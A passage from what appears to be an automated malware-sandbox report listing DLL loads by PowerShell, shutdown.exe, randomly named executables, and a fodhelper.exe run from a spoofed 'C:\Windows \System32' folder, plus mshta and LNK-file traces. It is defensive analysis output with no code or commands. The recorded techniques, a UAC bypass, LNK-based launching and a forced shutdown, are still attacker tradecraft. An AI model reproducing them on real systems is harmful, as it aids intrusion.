Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\shutdown.exe	Section loaded: shutdownext.dll
Source: C:\Windows\SysWOW64\shutdown.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\shutdown.exe	Section loaded: edgegdi.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: jli.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: msvcr100.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: version.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: edgegdi.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: uxtheme.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: windows.storage.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: wldp.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: kernel.appcore.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: propsys.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: profapi.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: edputil.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: urlmon.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: iertutil.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: srvcli.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: netutils.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: sspicli.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: wintypes.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: appresolver.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: bcp47langs.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: slc.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: userenv.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: sppc.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: mpr.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: dwmapi.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: pcacli.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: sfc_os.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: edgegdi.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: uxtheme.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: windows.storage.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: wldp.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: propsys.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: urlmon.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: iertutil.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: srvcli.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: netutils.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: ieframe.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: netapi32.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: version.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: userenv.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: winhttp.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: wkscli.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: wintypes.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: edputil.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: secur32.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: sspicli.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: mlang.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: wininet.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: profapi.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: policymanager.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: mrmcorer.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: windows.ui.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: textinputframework.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: inputhost.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: coremessaging.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: coremessaging.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: coremessaging.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: ntmarta.dll
Source: C:\Windows \System32\fodhelper.exe	Section loaded: bcp47mrm.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: jli.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: msvcr100.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: version.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: edgegdi.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: uxtheme.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: windows.storage.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: wldp.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: kernel.appcore.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: propsys.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: profapi.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: edputil.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: urlmon.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: iertutil.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: srvcli.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: netutils.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: sspicli.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: wintypes.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: appresolver.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: bcp47langs.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: slc.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: userenv.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: sppc.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\shutdown.exe	Section loaded: shutdownext.dll
Source: C:\Windows\System32\shutdown.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\shutdown.exe	Section loaded: edgegdi.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: wsock32.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: version.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: winmm.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: mpr.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: wininet.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: iphlpapi.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: userenv.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: uxtheme.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: edgegdi.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: kernel.appcore.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: cryptsp.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: rsaenh.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: cryptbase.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: shfolder.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: netapi32.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: magnification.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: oleacc.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: wtsapi32.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: d3d9.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: dwmapi.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: windows.storage.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: wldp.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: wkscli.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: cscapi.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: security.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: secur32.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: sspicli.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: colorui.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: mscms.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: coloradapterclient.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: compstui.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: msimg32.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: inetres.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: msimg32.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: windowscodecs.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: propsys.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: profapi.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: olepro32.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: textshaping.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: fwpuclnt.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: idndl.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: wbemcomn.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: napinsp.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: pnrpnsp.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: wshbth.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: nlaapi.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: mswsock.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: dnsapi.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: winrnr.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: rasadhlp.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: amsi.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: sxs.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: resourcepolicyclient.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: dxcore.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: dcomp.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: textinputframework.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: coreuicomponents.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: coremessaging.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: ntmarta.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: wintypes.dll
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Section loaded: wintypes.dll

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: _zayqgx5_K.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\Public\computer_zayqgx5_K.cmd
Source: _zayqgx5_KEX.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\_zayqgx5_K\_zayqgx5_K.exe
